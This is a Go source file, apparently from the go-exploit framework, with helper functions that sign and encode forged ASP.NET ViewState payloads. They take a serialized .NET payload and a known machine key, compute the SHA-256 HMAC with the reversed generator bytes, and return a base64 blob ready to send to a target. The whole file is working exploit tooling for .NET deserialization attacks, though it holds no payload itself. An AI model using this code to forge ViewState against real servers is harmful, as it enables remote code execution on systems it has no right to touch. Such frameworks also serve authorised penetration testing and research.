package dotnet

// Dotnet Serialization functions related to viewstate

import (
	"crypto/hmac"
	"crypto/sha1"
	"crypto/sha256"
	"encoding/base64"
	"encoding/hex"

	"github.com/vulncheck-oss/go-exploit/output"
)

func GenerateViewstateHMAC(data string, algo string, hexKey string) (string, bool) {
	var hmacHash []byte

	key, err := hex.DecodeString(hexKey)
	if err != nil {
		output.PrintfFrameworkError("Invalid key provided: %s", err)

		return "", false
	}

	switch algo {
	case "sha1":
		h := hmac.New(sha1.New, key)
		h.Write([]byte(data))
		hmacHash = h.Sum(nil)
	case "sha256":
		h := hmac.New(sha256.New, key)
		h.Write([]byte(data))
		hmacHash = h.Sum(nil)
	default:
		output.PrintfFrameworkError("Unsupported algorithm: %s", algo)

		return "", false
	}

	return hex.EncodeToString(hmacHash), true
}

// hex decode the generator and 'fix the endianness', a.k.a reverse the bytes since this is basically always going to be the same.
func GeneratorToArray(input string) ([]byte, bool) {
	if len(input) != 8 {
		output.PrintFrameworkError("Invalid generator length, should be 8 characters (4 hex bytes)")

		return []byte{}, false
	}
	decodedBytes, err := hex.DecodeString(input)
	if err != nil {
		output.PrintError("Could not decode string")

		return []byte{}, false
	}

	for i, j := 0, len(decodedBytes)-1; i < j; i, j = i+1, j-1 {
		decodedBytes[i], decodedBytes[j] = decodedBytes[j], decodedBytes[i]
	}

	return decodedBytes, true
}

// Takes payloadData, a machineKey, and a generator (can be empty) and returns a base64 encoded, signed payload.
// payloadData should be a dotnet serialized payload.
func CreateViewstatePayload(payloadData string, machineKey string, generator string) (string, bool) {
	// turn the hardcoded generator into an expected form to sign it
	generatorArray, ok := GeneratorToArray(generator)
	if !ok {
		return "", false
	}
	payloadAndGenerator := payloadData + string(generatorArray)

	// get the HMAC signature using hardcoded key
	hmac, ok := GenerateViewstateHMAC(payloadAndGenerator, "sha256", machineKey)
	if !ok {
		return "", false
	}

	output.PrintfFrameworkDebug("HMAC=%s,Payload=%s", hmac, payloadData)

	// convert it into bytes
	hmacDecoded, err := hex.DecodeString(hmac)
	if err != nil {
		output.PrintfFrameworkError("Could not decode returned hmac from hex hmac=%s, err=%s", hmac, err)

		return "", false
	}

	// append the signature, encode it all, ship it
	payloadDataWithHmac := payloadData + string(hmacDecoded)

	b64Bytes := make([]byte, base64.StdEncoding.EncodedLen(len(payloadDataWithHmac)))
	base64.StdEncoding.Encode(b64Bytes, []byte(payloadDataWithHmac))
	encodedPayload := string(b64Bytes)

	output.PrintFrameworkDebug(encodedPayload)

	return encodedPayload, true
}